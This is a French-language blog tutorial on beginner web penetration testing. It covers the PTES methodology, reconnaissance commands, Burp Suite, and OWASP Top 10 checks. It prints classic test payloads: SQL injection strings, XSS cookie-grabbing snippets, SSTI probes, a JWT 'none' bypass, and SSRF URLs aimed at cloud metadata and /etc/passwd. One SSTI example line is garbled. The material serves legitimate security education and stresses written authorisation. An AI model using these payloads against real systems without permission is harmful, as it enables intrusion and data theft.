Retour au blog
cybersécurité20 min de lecture5 juin 2026

Pentest web pour débutants : méthodologie et outils

Introduction au test d'intrusion web : reconnaissance, scan, exploitation avec Burp Suite, OWASP ZAP, et les 10 vulnérabilités à tester en priorité.

Le test d'intrusion web (pentest) consiste à attaquer légalement une application pour en trouver les failles avant les hackers malveillants. Ce guide introduit la méthodologie, les outils essentiels et les 10 vulnérabilités à tester en priorité selon l'OWASP Top 10 — avec des exemples concrets.

Cadre légal : AVANT TOUT, obtenez une autorisation écrite

Tester la sécurité d'un système sans autorisation écrite est un délit pénal en France (art. 323-1 Code pénal). Assurez-vous toujours d'avoir un périmètre défini et une autorisation signée avant tout test.

Pour pratiquer légalement :

  • Vos propres applications et serveurs
  • Des environnements de lab dédiés (DVWA, HackTheBox, TryHackMe, VulnHub)
  • Les programmes de bug bounty (HackerOne, Bugcrowd, YesWeHack) avec règles d'engagement
  • Sur contrat signé avec scope défini pour du pentest professionnel

Méthodologie PTES (Penetration Testing Execution Standard)

  1. 1Pré-engagement — définir le scope, les règles, les livrables et l'autorisation
  2. 2Collecte d'informations (Reconnaissance) — passive puis active
  3. 3Modélisation des menaces — identifier les surfaces d'attaque
  4. 4Analyse de vulnérabilités — scan et identification des failles
  5. 5Exploitation — confirmer les vulnérabilités identifiées
  6. 6Post-exploitation — mesurer l'impact réel (pivoting, persistance)
  7. 7Rapport — documenter les findings avec preuve et recommandations

Phase 1 : Reconnaissance

Reconnaissance passive (OSINT)

Collecte d'informations sans interagir directement avec la cible.

bash
# Informations WHOIS
whois example.com

# Sous-domaines via certificats SSL (crt.sh — https://crt.sh)
curl "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | sort -u

# Google Dorks (recherches avancées)
site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com "Index of /"
"@example.com" filetype:xls

# Wayback Machine — anciennes versions du site
curl "https://web.archive.org/cdx/search/cdx?url=example.com/*&output=text&fl=original&collapse=urlkey"

Reconnaissance active

  • Nmap — scan de ports et détection de services/versions
  • Subfinder — énumération passive de sous-domaines via sources OSINT
  • Amass — cartographie complète de la surface d'attaque
  • WhatWeb — identification des technologies (CMS, frameworks, serveurs)
  • Gobuster / ffuf — bruteforce de répertoires et fichiers cachés
bash
# Scan de ports et services
nmap -sV -sC -p 80,443,8080,8443 example.com

# Énumération de sous-domaines
subfinder -d example.com
amass enum -d example.com

# Identification des technologies
whatweb https://example.com

# Scan de répertoires et fichiers cachés
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt -x php,html,js,json
ffuf -u https://example.com/FUZZ -w wordlist.txt

Burp Suite : l'outil central du pentesteur web

Burp Suite est un proxy d'interception qui permet d'analyser et modifier toutes les requêtes HTTP entre le navigateur et le serveur.

  • Proxy — intercepter et modifier les requêtes/réponses en temps réel
  • Repeater — rejouer et modifier des requêtes individuelles
  • Intruder — fuzzing et attaques par dictionnaire sur des paramètres
  • Scanner (Pro) — scan automatique de vulnérabilités
  • Decoder — encoder/décoder Base64, URL, HTML entities
  • Comparer — comparer deux réponses pour détecter des différences subtiles
bash
# Installation Burp Suite Community (gratuit)
# https://portswigger.net/burp/communitydownload

# Configuration du proxy navigateur → 127.0.0.1:8080
# Installer le certificat CA Burp dans le navigateur :
# Naviguer vers http://burpsuite → Download CA Certificate

# Alternative open-source : OWASP ZAP
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com

Version Community de Burp Suite est gratuite et suffisante pour débuter. L'alternative open-source OWASP ZAP est 100% gratuite et inclut un scanner automatique.

OWASP Top 10 : les vulnérabilités à tester

A01 — Broken Access Control

Vérifier si un utilisateur peut accéder aux ressources d'un autre utilisateur (IDOR) ou à des fonctions admin.

http
# Test IDOR (Insecure Direct Object Reference)
GET /api/users/1234/profile  → votre profil
GET /api/users/1235/profile  → profil d'un autre ? 403 attendu

# Test accès horizontal
GET /admin/dashboard  → 403 sans droits admin ?
GET /api/v1/export-all-users  → uniquement admin ?

A02 — Cryptographic Failures

  • Données sensibles transmises en HTTP (non-HTTPS) ?
  • Cookies sans flag Secure et HttpOnly ?
  • Mots de passe hashés avec MD5 ou SHA1 (non salés) ?
  • Tokens JWT signés avec algorithme 'none' ou HS256 avec secret faible ?
bash
# Tester un token JWT
# Décoder sur jwt.io
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." | base64 -d

# Tester l'algorithme 'none' (vulnérabilité classique)
# Modifier le header : {"alg":"none","typ":"JWT"}
# Supprimer la signature → le serveur accepte-t-il ?

A03 — Injection (SQLi, XSS, SSTI)

Pour tester les injections SQL de façon automatisée, SQLMap est la référence. Pour les payloads XSS et SSTI, consultez PayloadsAllTheThings.

bash
# Test SQL Injection basique
# Dans un champ de recherche ou paramètre URL :
' OR '1'='1
' OR '1'='1' --
' UNION SELECT 1,2,3 --

# Avec SQLMap (automatisé, utiliser sur vos propres cibles !)
sqlmap -u "https://example.com/search?q=test" --dbs --batch

# Test XSS réfléchi
<script>alert(1)</script>
"><script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>

# Test SSTI (Server-Side Template Injection)
{{7*7}}     → 49 ? (Jinja2/Twig)
49      → 49 ? (Java EL)
<%= 7*7 %>  → 49 ? (ERB/JSP)

A07 — Authentication Failures

  • Brute force possible sur /login sans rate limiting ni lockout ?
  • Réinitialisation de mot de passe par token prévisible ?
  • Session non invalidée après déconnexion (cookie toujours valide) ?
  • Absence de MFA sur les comptes admin ?

A10 — SSRF (Server-Side Request Forgery)

bash
# Tester si le serveur peut être utilisé pour faire des requêtes internes
# Dans un paramètre URL (webhook, fetch, preview...)
url=http://169.254.169.254/latest/meta-data/  # AWS metadata
url=http://127.0.0.1:8080/admin               # Services internes
url=file:///etc/passwd                         # Lecture de fichiers locaux

# Détecter avec Burp Collaborator ou ngrok (receive callback)
url=https://votre-ngrok.io/callback

Rédiger un rapport de pentest

Un bon rapport de pentest doit être actionnable. Pour chaque finding :

  1. 1Titre clair et CVSS score
  2. 2Description de la vulnérabilité
  3. 3Étapes de reproduction (step-by-step)
  4. 4Preuve (screenshot, requête HTTP, output outil)
  5. 5Impact potentiel (données exposées, élévation de privilèges...)
  6. 6Recommandation de remédiation avec priorité
  7. 7Référence (CVE, CWE, OWASP)

Pratiquez sur HackTheBox ou TryHackMe pour vous entraîner légalement sur des machines vulnérables conçues à cet effet. Des dizaines de scénarios réalistes sont disponibles, du débutant au niveau avancé.

Ressources pour aller plus loin

Sources & références

  1. 1
    OWASP Top 10 — 2021 (officiel)

    Les 10 catégories de vulnérabilités web les plus critiques selon OWASP

  2. 2
    OWASP Testing Guide v4.2

    Méthodologie de test d'intrusion web complète et gratuite

  3. 3
    PTES — Penetration Testing Execution Standard

    Standard de référence pour la conduite de tests d'intrusion professionnels

  4. 4
    PortSwigger Web Security Academy

    Cours gratuits et labs interactifs sur toutes les vulnérabilités web

  5. 5
    PayloadsAllTheThings — GitHub

    Collection exhaustive de payloads et techniques d'exploitation

#pentest#test-intrusion#burp-suite#owasp#ethical-hacking

Testez vos configurations

Xytherion Tools propose des outils gratuits pour vérifier vos DNS, auditer votre SSL, tester SPF/DKIM/DMARC et bien plus — directement depuis votre navigateur.

Pentest web pour débutants : méthodologie et outils — Xytherion Tools